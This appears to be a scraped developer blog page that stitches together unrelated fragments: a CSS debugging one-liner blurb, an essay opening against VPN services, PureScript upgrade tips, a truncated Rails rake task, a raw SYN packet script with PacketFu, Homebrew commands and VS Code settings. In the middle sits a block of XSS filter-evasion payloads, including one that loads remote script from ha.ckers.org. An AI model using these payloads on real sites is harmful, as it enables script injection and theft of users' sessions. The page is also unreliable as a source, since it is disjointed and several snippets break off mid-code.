Beyar Beyarz

CSS Layout Debugger

A tweet-sized debugger for visualizing your CSS layouts. Outlines every DOM element on your page a random (valid) CSS hex color.

One-line version to paste in your DevTools

Use $$ if your browser aliases it:

~ 108 byte version

Image source

https://gyazo.com/eb5c5741b6a9a16c692170a41a49c858.png

Try resize it!

![](https://gyazo.com/eb5c5741b6a9a16c692170a41a49c858.png | width=100)

Don't use VPN services.

No, seriously, don't. You're probably reading this because you've asked what VPN service to use, and this is the answer.

Note: The content in this post does not apply to using VPN for their intended purpose; that is, as a virtual private (internal) network. It only applies to using it as a glorified proxy, which is what every third-party "VPN provider" does.

A Russian translation of this article can be found here, contributed by Timur Demin.
A Turkish translation can be found here, contributed by agyild.
There's also this article about VPN services, which is honestly better written (and has more cat pictures!) than my article.

How to upgrade to Purescript 0.12

Before we begin, the type search in Pursuit is a great way to search for the functions you need.

Reset your tooling by deleting the bower_components/, .psci_modules/, .pulp-cache/, .psc-package/ and output/ folders. Then run psc-package build --only-dependencies.

Import changes and effects

Using sed or your other favourite global replace tool to search and replace all occurences in the list

	require "active_record"

	namespace :db do

	db_config = YAML::load(File.open('config/database.yml'))
	db_config_admin = db_config.merge({'database' => 'postgres', 'schema_search_path' => 'public'})

	desc "Create the database"
	task :create do
	ActiveRecord::Base.establish_connection(db_config_admin)

	';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
	'';!--"<XSS>=&{()}
	0\"autofocus/onfocus=alert(1)--><video/poster/onerror=prompt(2)>"-confirm(3)-"
	<script/src=data:,alert()>
	<marquee/onstart=alert()>
	<video/poster/onerror=alert()>
	<isindex/autofocus/onfocus=alert()>
	<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
	<IMG SRC="javascript:alert('XSS');">
	<IMG SRC=javascript:alert('XSS')>

	require 'packetfu'

	config = PacketFu::Utils.whoami?

	synpkt = PacketFu::TCPPacket.new(config: config, flavor: "Linux")
	synpkt.ip_daddr = "216.58.221.142" # ip of google.com
	synpkt.tcp_dst = 80 # port of google.com
	synpkt.tcp_flags.syn = 1 # SYN
	synpkt.recalc

	# this original one uses values returned from 'brew info'
	brew list --formula \| xargs -n1 -P8 -I {} \
	sh -c "brew info {} \| egrep '[0-9]* files, ' \| sed 's/^.[0-9] files, \(.\)).$/{} \1/'" \| \
	sort -h -r -k2 - \| column -t

	# faster alternative using 'du'
	du -sch $(brew --cellar)// \| sed "s\|$(brew --cellar)/\([^/]\)/.\|\1\|" \| sort -k1h

	{
	"editor.minimap.enabled": false, // removes minimap
	"editor.renderWhitespace": "none", // removes whitespace chars
	"editor.renderIndentGuides": false, // removes indent guides
	"editor.renderLineHighlight": "none", // removes line highlight
	"editor.overviewRulerBorder": false, // removes border from overview ruler (located on the right, same position as the scrollbar)
	"editor.hideCursorInOverviewRuler": true, // hides cursor mark in the overview ruler
	"editor.folding": false, // removes the folding feature
	"editor.occurrencesHighlight": false, // removes highlights occurrences (still works when you select a word)
	"editor.matchBrackets": false, // removes the highlight of matching brackets (I use Subtle Match Brackets extension for this)